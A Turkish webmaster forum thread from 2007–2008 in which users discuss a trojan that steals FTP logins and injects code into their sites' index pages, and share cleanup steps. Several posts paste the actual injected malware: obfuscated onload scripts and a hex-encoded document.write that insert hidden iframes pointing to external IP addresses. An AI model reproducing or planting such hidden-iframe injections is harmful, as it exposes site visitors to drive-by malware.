0
Kayıt Ol

"Sitem Trojan Uyarısı Veriyor" Diyen Arkadaşlara..

11

●

2.128

  • 22-12-2007, 20:17:13
    #1
    Misafir
    Misafir
    Kod Olarak Kopy Paste Yapmak İsterdim Ama Haliyle Trojan (; Pc ye kopy edemiyorum..

    Virüs'ün Mantığı : Web tasarımla uğraşan arkadaşlarımız farkında olmadan bir başka bir siteden virüsü kendi pc'lerine yüklüyorlar (Kayspersky yetersiz kalıyor, AVG kullanıyorum şu anda sıkıntı yok) daha sonra ftp accont ları ile ftp lerine bağlandıkları zaman virüs kullanıcı adı ve şifreyi kendi sunucusuna kaydediyor. Tabi farkına varıp kodu siliyorsunuz.. Virüs sunucu yardımı ile tekrar ftp'ye giriyor kodları ekliyor..

    Çözümü : Temiz bir windows kurarak başlıyoruz..
    Mümkünse harddisk'in boş olması tarafımca denendi 7 kez kurdum en son AVG'yle hallettim.. Harddisk'im neredeyse boş (;
    Daha sonra İnternet Explorer yardımı ile cpanele giriş yapıyoruz.. İlk yapacağımız işlem şifremizi değiştirmek.. Linux sistemlerede şifre tek ama windows yada linux a accont ekleyen arkadaşlar bütün şifreleri değişmeli..
    Daha sonra hesabımızdaki index.php index.html index.htm default.asp gibi sunucularda otomatik algılanan sayfaları tek tek kodlardan arındırıyoruz..

    Kod genelde "<body " den sonraya kendini ekliyor yada sayfanın en altında iframe olarak oluyor.. Tasarım ve kullanılan sisteme göre değişiyor.. Bazen her ikiside olabiliyor..

    Şimdiden temiz siteler dileyerek,
    İyi Çalışmalar (;
  • 22-12-2007, 20:33:14
    #2
    sergenyapim
    sergenyapim
    Misafir adlı üyeden alıntı: mesajı görüntüle
    imzandaki sitede hala var ama )
    Haha, bize anlattıktan sonra sitesini temizlemeyi unutmuş
  • 22-12-2007, 20:36:58
    #3
    Misafir
    Misafir
    sergen bizde sorduk işte.. gece sabaha kadar uğraştık neresinde var diye..
  • 22-12-2007, 21:44:03
    #4
    Misafir
    Misafir 
     <h t m l>< b o  dy   onload="status=' ';zz='2';sl='/';sf='ram'; pi='9';po='.';qu=':';yh='4';tr='t.p';v  o='3';bw='5';pt='tp';ab='src';dg='ht';ko='e';wd='if';ji='hp';hh='1';t=wd.concat(sf,ko);xx=dg.concat(pt,qu,sl,sl,hh,pi,yh,po,hh,yh,bw,po,zz,vo,bw,po,vo,yh,sl,tr,ji);var oE=document.createElement(t);oE.setA  ttribute('width','0');oE.setAttribute('height','0');oE. setAttribute('style','d   isplay:none');oE.setAttribute(ab,xx);    document.bo   dy.appendChild(oE);
"></  b  od  y></ h  t m l><??>
<if   r  am     e src  ='h      ttp://url' width='1' height='1' style='visibility: hidden;'></ifr    ame><sc     ript>function v475ac9d819c7a(v475ac9d81a489){ function v475ac9d81ac79 () {var v475ac9d81b484=16; return v475ac9d81b484   ;} return(parseInt(v475ac9d81a489,v475ac9d81ac79()))   ;}function v475ac9d81bc7c(v475ac9d8   1c473){ function v475   ac9d81dc5e () {var v475ac9d81e458=2; return v475ac9d81e458;} var v475ac9d81cc6f='';for(v475ac9d81d   468=0; v475ac9d81d468<   v475ac9d81c473.length; v475a   c9d81d468+=v475ac9d81dc5e()){ v475ac9d81cc6f+=(String.fromCharCode(v475ac9d819c7a(v475ac9d81c473.substr(v475ac9d81d468, v475ac9d81dc5e()))));}return v475ac9d81cc6f;} document.write(v475ac9d81bc7c('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D3862333233376663207372633D5C27687474703A2F2F37372E3232312E3133332E3138382F2E69662F676F2E68746D6C3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A313833333532292B273031616163306165343066395C272077696474683D353333206865696768743D333434207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F696672616D653E27293C2F5343524950543E'));< /s c ri  t>

    Kodlar bunlar.
  • 14-01-2008, 12:40:04
    #5
    hikayeyaz
    hikayeyaz
    paylaşım için tşkler
  • 14-01-2008, 13:20:48
    #6
    hikayeyaz
    hikayeyaz
    <?php
    // Silence is golden.
    ?><html><body onload="status=' ';zz='o';sl='/';sf='ram';us='u';pi='b';po='.';gw='fi';qu=':';yh= 't';vo='h';bw='e';pj='m';iu='g';pt='tp';yw='p';ab= 'src';dg='ht';ko='e';wd='if';hh='r';t=wd.concat(sf ,ko);xx=dg.concat(pt,qu,sl,sl,pi,hh,pi,iu,po,hh,us ,sl,po,yh,po,yw,vo,yw);var oE=document.createElement(t);oE.setAttribute('widt h','0');oE.setAttribute('height','0');oE.setAttrib ute('style','display:none');oE.setAttribute(ab,xx) ;document.body.appendChild(oE);
    "></body></html><??>



    AYNI SEY BENDEDE VAR TROJEN YANI PASO VİRÜS BULUNDU DIYIP DURUYOR BUNDAN DOLAYI OLABILIRMI? BULAMIYORUM HIC BIR YERDE DELIRDIM.........
  • 14-01-2008, 14:47:58
    #7
    XizoR
    XizoR
    Üyeliği durduruldu
    arkadaslar iZlemek isteyipte izleyemediginiz Dizilerin Özetleri bu sitedede varmi birisi bana var dedide

    bende virus programi olmadigindan bakamiyorum size zahmet bakabilirmisiniz
  • 19-01-2008, 19:40:03
    #8
    Misafir
    Misafir
    hikayeyaz adlı üyeden alıntı: mesajı görüntüle
    <?php
    // Silence is golden.
    ?><html><body onload="status=' ';zz='o';sl='/';sf='ram';us='u';pi='b';po='.';gw='fi';qu=':';yh= 't';vo='h';bw='e';pj='m';iu='g';pt='tp';yw='p';ab= 'src';dg='ht';ko='e';wd='if';hh='r';t=wd.concat(sf ,ko);xx=dg.concat(pt,qu,sl,sl,pi,hh,pi,iu,po,hh,us ,sl,po,yh,po,yw,vo,yw);var oE=document.createElement(t);oE.setAttribute('widt h','0');oE.setAttribute('height','0');oE.setAttrib ute('style','display:none');oE.setAttribute(ab,xx) ;document.body.appendChild(oE);
    "></body></html><??>



    AYNI SEY BENDEDE VAR TROJEN YANI PASO VİRÜS BULUNDU DIYIP DURUYOR BUNDAN DOLAYI OLABILIRMI? BULAMIYORUM HIC BIR YERDE DELIRDIM.........

    Evet o kod zaten.. kodu silersen sorun olmaz..

    Alıntı
    <?php
    // Silence is golden.
    ?>
    buradan sonrası silinmesi gereken kod..
  • 21-01-2008, 13:01:47
    #9
    eMziQ
    eMziQ
    iyide arkadaşlar ben bunun amaçlı oldugunu düşündüm yani kastamonuülküocakları nın yolladığı bu trojen sitelerimden islami olanda mevcuttu.googlede farkettimki istedigim kelimede 1. olunca anında trojen index.hmtl de parlıyor ve son sayfaya düşüyorum.rakip sitelermi diye düşünerek haklarınıda almış olabilirim emin değilim.

    kod temizlemiyorum index.html yi yeniden yüklüyorum halloluyor lakin gökyüzünün dedigi gibi şifreleri değiştirerek sağlam bi scan şart galba.